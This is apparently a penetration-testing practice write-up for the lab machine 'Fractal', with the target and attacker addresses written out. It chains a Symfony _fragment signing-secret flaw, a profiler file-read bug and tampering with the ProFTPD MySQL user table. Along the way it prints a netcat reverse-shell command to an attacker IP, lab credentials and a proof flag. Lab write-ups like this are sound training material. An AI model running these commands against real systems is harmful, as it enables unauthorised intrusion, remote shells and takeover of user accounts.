[OSCP Practice Series 19] Proving Grounds — Fractal
Machine Type: Linux
Initial
There are ports 21 (ProFTPD, well, this is new), 22, and 80. Let’s check FTP. There’s nothing we can do there. Now, let’s check port 80. It’s just a regular page.
Nmap discovered /robots.txt
earlier. Let’s check it.
When visiting /app_dev.php, it seems like we are logged in.
We can see the CMS version: Symfony 3.4.46
. I googled for an exploit and found this informative article on ambionics.io
.
Foothold
We can use /_fragment
to run arbitrary code. We can try it but we will always get 403.
This is because quoting from the article,
the request has to be signed using a HMAC value. This HMAC’s secret cryptographic key is stored under a Symfony configuration value named
secret
This configuration value,
secret
, is also used, for instance, to build CSRF tokens and remember-me tokens. Given its importance, this value must obviously be very randomUnfortunately, we discovered that oftentimes, the secret either has a default value, or there exist ways to obtain the value, bruteforce it offline, or to purely and simply bypass the security check that it is involved with. It most notably affects Bolt, eZPlatform, and eZPublish.
Furthermore, an attacker can escalate less-impactful vulnerabilities to either read the
secret
(through a file disclosure), bypass the/_fragment
signature process (using an SSRF), and even leak it throughphpinfo()
!
We need to generate the correct HMAC hash. To do it we have to find the APP_SECRET first.
We can read PHP info on /_profiler/phpinfo
.
But there’s no app_secret here. The second method is via SSRF, but we can’t use it. The default value doesn’t work because it’s for Symfony <= 3.4.43, while ours is 3.4.46. Another method is via a file read vulnerability (we need to read app/config/parameters.yml
or .env
), but we need to find the vulnerability first. During my research, I stumbled upon this blog post.
Here we can see the file read vulnerability on /app_dev.php/_profiler/open=?file=
Now we have the DB creds and app secret. Let’s get our RCE.
parameters:
database_host: 127.0.0.1
database_port: 3306
database_name: symfony
database_user: symfony
database_password: symfony_db_password
mailer_transport: smtp
mailer_host: 127.0.0.1
mailer_user: null
mailer_password: null
secret: 48a8538e6260789558f0dfe29861c05b
First, we need to generate our HMAC hash.
$ page="http://192.168.207.233/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'48a8538e6260789558f0dfe29861c05b', b'$page', hashlib.sha256).digest()))"
http://192.168.207.233/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=wIsrcJG1EPF0Q77j5WXO6OpVLJQpuyuXMZad8eiJs2A=
Hmm… I also tried it in the /app_dev.php
, and I’m sure it’s working, but there’s an error.
I googled for an exploit and discovered this: https://github.com/ambionics/symfony-exploits/blob/main/secret_fragment_exploit.py. It’s from ambionics as well, which means it’s good.
Seems like method 1 doesn’t work. Let’s try method 2.
It works! Let’s get a reverse shell.
python3 secret_fragment_exploit.py 'http://192.168.207.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.207.233/_fragment' --function system --parameters 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.200 80 >/tmp/f'
We are in.
Getting User
There’s this benoit
user. Check the MySQL db. There are no tables on the symfony database.
I ran linpeas and discovered phpmyadmin credentials.
/etc/phpmyadmin/config-db.php:$dbpass='9gofRqnnz0zb';
/etc/phpmyadmin/config-db.php:$dbuser='phpmyadmin';
However, the password is useless for both benoit
and root
.
After a while, I couldn’t find anything. I got a hint that we have to go back to the ProFTPD service we found earlier. It turns out there’s a configuration directory for it in /etc/proftpd
. In the sql.conf
file, we discovered MySQL credentials for ProFTPD.
# databasename@host database_user user_password
SQLConnectInfo proftpd@localhost proftpd protfpd_with_MYSQL_password
Let’s check. Okay, now we have a new database.
Okay, there are credentials that we might be able to use to log in to the ProFTPD service. Hmm… but the hash is kind of weird. Even hashcat doesn’t have a mode for it. Ah, like the previous machine, why don’t we just add a user or change the user’s password? I think I will update it. This article explains how we can generate the password:
https://medium.com/@nico26deo/how-to-set-up-proftpd-with-a-Mysql-backend-on-ubuntu-c6f23a638caf
/bin/echo "{md5}"`/bin/echo -n "password" | openssl dgst -binary -md5 | openssl enc -base64`
update ftpuser set passwd='{md5}X03MO1qnZdYdgyfeuILPmQ==' where id = 1;
Nice, now let's log in.
Nice. But since the home dir is /var/www/html
, I think it is useless. Let’s update the homedir
to /home/benoit
or /root perhaps.
update ftpuser set homedir='/' where id = 1;
Now, the question is, can we write to it?
We can’t. Change the shell to /bin/bash
?
Still denied. Edit the uid and gid.
update ftpuser set uid=1000,gid=1000 where id=1;
Cool, it works now. I created .ssh
directory and put my public key there so that I can ssh as benoit
without a password.
Awesome.
Getting Root
Well, GG.
proof.txt: 8fc135dbc1d41c41ea69a041202cef89
Learned
- The things that you found at the early stage still can be used for root.
- Always look for others' infosec blog posts, mostly the answer will be there.